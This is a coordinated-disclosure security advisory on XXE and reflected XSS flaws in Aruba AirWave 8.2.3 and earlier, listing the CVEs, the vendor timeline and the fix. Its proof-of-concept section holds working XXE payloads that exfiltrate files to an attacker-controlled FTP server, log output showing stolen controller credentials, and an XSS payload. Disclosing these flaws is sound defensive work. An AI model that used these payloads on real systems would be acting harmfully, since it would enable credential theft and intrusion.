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SEC Consult Vulnerability Lab Security Advisory < 20170301-0 > ======================================================================= title: XML External Entity Injection (XXE), Reflected Cross Site Scripting product: Aruba AirWave vulnerable version: <=8.2.3 fixed version: 8.2.3.1 CVE number: CVE-2016-8526, CVE-2016-8527 impact: high homepage: http://www.arubanetworks.com/ found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Aruba, a Hewlett Packard Enterprise company, (formerly "Aruba Networks, Inc.") is a networking vendor selling enterprise wireless LAN and edge access networking equipment. The company has over 1,800 employees and is headquartered in Sunnyvale, California. Aruba's core products are access points (APs), mobility controllers, and network management software through their Airwave Management Platform product." Source: https://en.wikipedia.org/wiki/Aruba_Networks Business recommendation: ------------------------ SEC Consult recommends not to use the product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) XML External Entity Injection (CVE-2016-8526) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information / files with malicious XML code. Note that as Aruba's passwords are encrypted with a shared static key, privilege escalation to admin role is also possible! Multiple different functions are affected by XXE. According to the vendor another researcher has also found one of the XXE issues, hence credits go to them as well. Vendor: "Although the team hasn't reproduced this yet, I’ve had other reports come in through our bug bounty program last month about XXE issues in VisualRF. One of the issues you reported is the same, and you reported three others that we haven't seen yet." 2) Reflected Cross Site Scripting (CVE-2016-8527) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2016-8526) a) XXE in VisualRF Backup Sites Login as any user role (including read-only/standard user) Navigate to VisualRF > Floor Plans > Select 'View' under 'Network' section. Select a campus (e.g. Default Campus) > Select 'Edit' > Select action 'Export Floor Plans' > Ok POST /visualrf/backup_sites HTTP/1.1 Host: <AirWaveHost> [...] xml=<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY %25 foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1">%26%65%78%66%69%6c%3b</visualrf:sites> $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///<removed>"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_102@ > 230 more data please! < TYPE I > 230 more data please! < CWD [General] [...] < ; set global WLC credentials > 230 more data please! < wlc_user: <username> > 230 more data please! < wlc_pasw: <password> [...] b) XXE in Visual RF Site Restore $ cat version.xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/version.dtd">%foo;%param1;]> &exfil;<backup backup-time="Mon Nov 21 14:44:41 CET 2016" build="${svn.build}" plan-mode="false" version="8.0.0"/> $ zip backup_sectest.zip version.xml adding: version.xml (deflated 16%) And then just upload the backup_sectest.zip via the restore functionality. POST /nf/visualrf_siterestore HTTP/1.1 Host: <AirWaveHost> [...] ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A Content-Disposition: form-data; name="zip"; filename="backup_sectest.zip" Content-Type: application/zip [.. backup_sectest.zip ..] ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A Content-Disposition: form-data; name="import" Import ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A-- c) XXE in Visual RF Verify POST /visualrf/verify/<Site-ID> HTTP/1.1 Host: <AirWaveHost> [...] <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%foo;%param1;]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1"><site [...] />&exfil;</site></visualrf:sites> 2) Reflected Cross Site Scripting (CVE-2016-8527) Note that the XSS payload can be used with either HTTP parameter 'start' or 'end'. GET /visualrf/group_list.xml?aps=1&start=%3ca%20xmlns%3aa%3d'http%3a%2f%2fwww.w3.org%2f1999%2fxhtml'%3e%3ca%3abody%20onload%3d'alert(/XSS/)'%2f%3e%3c%2fa%3e&end=500&match HTTP/1.1 Host: <AirWaveHost> [...] HTTP/1.1 200 OK [...] <?xml version='1.0' encoding='UTF-8' standalone='yes'?> <results> <error>For input string: "<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(/XSS/)'/></a>"</error> </results> Vulnerable / tested versions: ----------------------------- The following versions are affected by the identified vulnerabilities which were the most recent versions at the time of discovery: Aruba AirWave version <8.2.3.1 Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through aruba-sirt@hpe.com 2016-11-23: Vendor: Established communication over encrypted channel and asked for extending the disclosure date due to the upcoming holidays 2017-01-18: CVE-2016-8526 was assigned for the XXE issue, and CVE-2016-8527 for the reflected XSS issue. 2017-02-21: Aruba AirWave 8.2.3.1 was released. 2017-03-01: Coordinated disclosure of the security advisory. Solution: --------- Update to version 8.2.3.1 or later. http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt https://support.arubanetworks.com/Documentation/tabid/77/DMXModule/512/EntryId/23738/Default.aspx Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017 |
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